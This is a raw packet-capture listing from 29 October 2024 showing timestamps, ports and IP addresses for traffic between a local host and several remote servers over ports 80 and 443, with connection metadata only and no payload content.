Oct 29, 2024 20:34:57.020850897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.020864010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.020870924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.020874977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.020889997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.020901918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.020930052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.021085978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021121025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021131039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.021132946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021155119 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.021162033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021167994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.021173000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021194935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021205902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021219969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021219969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.021231890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021244049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.021262884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.021418095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021430016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021440983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021465063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.021480083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.021541119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021552086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021562099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021579981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021584034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.021591902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021601915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021606922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.021616936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.021621943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021631002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.021632910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021646023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021648884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.021677971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.021677971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021716118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.021939039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.021982908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022020102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022030115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022042036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022061110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022062063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022073984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022078037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022092104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022097111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022103071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022114038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022121906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022125959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022138119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022150040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022150040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022161007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022176981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022195101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022205114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022244930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022265911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022281885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022294044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022305012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022305012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022321939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022340059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022416115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022455931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022512913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022522926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022532940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022546053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022558928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022561073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022577047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022602081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022629023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022640944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022660017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022667885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022671938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022684097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022691965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022706032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022720098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022743940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022766113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022799015 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022811890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022829056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022841930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022854090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022856951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022867918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022886992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022912025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022922993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022933006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022952080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022953033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022964954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022973061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.022974968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022985935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.022999048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023000002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.023010969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023022890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023025036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.023046017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023051023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.023063898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023068905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.023076057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023099899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.023123026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.023232937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023269892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023277998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.023281097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023303986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.023319960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.023364067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023375034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023385048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023402929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023403883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.023415089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023428917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.023444891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023452044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.023457050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023468018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023482084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.023507118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.023514032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:57.023559093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:57.339999914 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.340086937 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.346316099 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.346343040 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.346632957 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.363147020 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.407336950 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.575623035 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.575655937 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.575697899 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.575799942 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.575819969 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.575848103 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.575872898 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.609056950 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.609081030 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.609194040 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.609226942 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.609276056 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.693269014 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.693299055 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.693522930 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.693602085 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.693665028 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.725625992 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.725676060 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.725934029 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.725963116 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.726048946 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.727054119 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.727087021 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.727188110 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.727195024 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.727283001 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.766344070 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.766376972 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.766558886 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.766603947 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.766714096 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.811031103 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.811057091 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.811151028 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.811173916 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.811224937 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.841941118 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.841964006 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.842050076 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.842070103 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.842114925 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.843238115 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.843254089 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.843334913 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.843343019 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.843389034 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.844238043 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.844257116 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.844300985 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.844317913 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.844338894 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.844357014 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.845334053 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.845354080 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.848151922 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.848151922 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.848162889 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.848228931 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.850790024 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.850811005 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.850939035 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.850950956 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.850994110 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.854448080 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.883743048 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.883769989 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.883858919 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.883892059 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.883939028 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.927877903 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.927961111 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.927964926 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.928034067 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.928092003 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.928116083 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.928128004 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.928134918 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.990601063 CET	49706	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.990648031 CET	443	49706	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.990706921 CET	49706	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.991981030 CET	49707	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.992012024 CET	443	49707	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.992079020 CET	49707	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.993478060 CET	49708	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.993531942 CET	443	49708	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.993592024 CET	49708	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.993746996 CET	49709	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.993773937 CET	443	49709	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.993822098 CET	49709	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.994301081 CET	49709	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.994316101 CET	443	49709	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.994421005 CET	49706	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.994434118 CET	443	49706	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.994467020 CET	49707	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.994479895 CET	443	49707	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.994618893 CET	49708	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.994632959 CET	443	49708	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.995194912 CET	49710	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.995204926 CET	443	49710	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:57.995270014 CET	49710	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.995429993 CET	49710	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:57.995439053 CET	443	49710	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.732800007 CET	443	49710	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.733912945 CET	49710	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.733949900 CET	443	49710	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.734662056 CET	49710	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.734668970 CET	443	49710	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.734719038 CET	443	49709	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.735215902 CET	49709	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.735236883 CET	443	49709	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.735930920 CET	49709	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.735937119 CET	443	49709	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.739825010 CET	443	49708	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.739842892 CET	443	49706	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.741838932 CET	49708	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.741863966 CET	443	49708	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.742597103 CET	49708	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.742604017 CET	443	49708	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.743443012 CET	49706	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.743474960 CET	443	49706	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.744051933 CET	49706	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.744057894 CET	443	49706	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.761509895 CET	443	49707	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.761961937 CET	49707	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.762001991 CET	443	49707	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.762413979 CET	49707	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.762420893 CET	443	49707	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.864936113 CET	443	49710	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.864969969 CET	443	49710	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.865032911 CET	443	49710	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.865056038 CET	49710	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.865086079 CET	49710	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.869146109 CET	443	49708	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.869172096 CET	443	49708	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.869220972 CET	49708	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.869237900 CET	443	49708	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.869409084 CET	443	49708	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.869529963 CET	49708	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.874407053 CET	443	49706	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.874430895 CET	443	49706	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.874480963 CET	443	49706	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.874514103 CET	49706	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.874552965 CET	49706	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.874880075 CET	443	49709	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.875046968 CET	443	49709	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.875108957 CET	49709	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.897211075 CET	443	49707	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.897633076 CET	443	49707	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.897732973 CET	49707	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.961766005 CET	49710	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.961815119 CET	443	49710	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.961834908 CET	49710	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.961842060 CET	443	49710	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.962502003 CET	49709	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.962555885 CET	443	49709	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.962893963 CET	49707	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.962950945 CET	443	49707	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.962966919 CET	49707	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.962976933 CET	443	49707	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.972901106 CET	49708	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.972934008 CET	443	49708	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.972948074 CET	49708	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.972954988 CET	443	49708	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.977365017 CET	49706	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.977396011 CET	443	49706	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:58.977411985 CET	49706	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:58.977418900 CET	443	49706	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.104376078 CET	49716	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.104387045 CET	443	49716	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.104450941 CET	49716	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.110555887 CET	49717	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:34:59.110644102 CET	443	49717	142.250.185.228	192.168.2.5
Oct 29, 2024 20:34:59.110799074 CET	49717	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:34:59.110987902 CET	49717	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:34:59.111006021 CET	443	49717	142.250.185.228	192.168.2.5
Oct 29, 2024 20:34:59.130208969 CET	49718	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.130253077 CET	443	49718	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.130347967 CET	49718	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.130677938 CET	49716	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.130697012 CET	443	49716	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.133421898 CET	49719	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.133464098 CET	443	49719	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.133518934 CET	49719	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.133893967 CET	49719	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.133908033 CET	443	49719	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.148431063 CET	49718	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.148464918 CET	443	49718	13.107.246.45	192.168.2.5
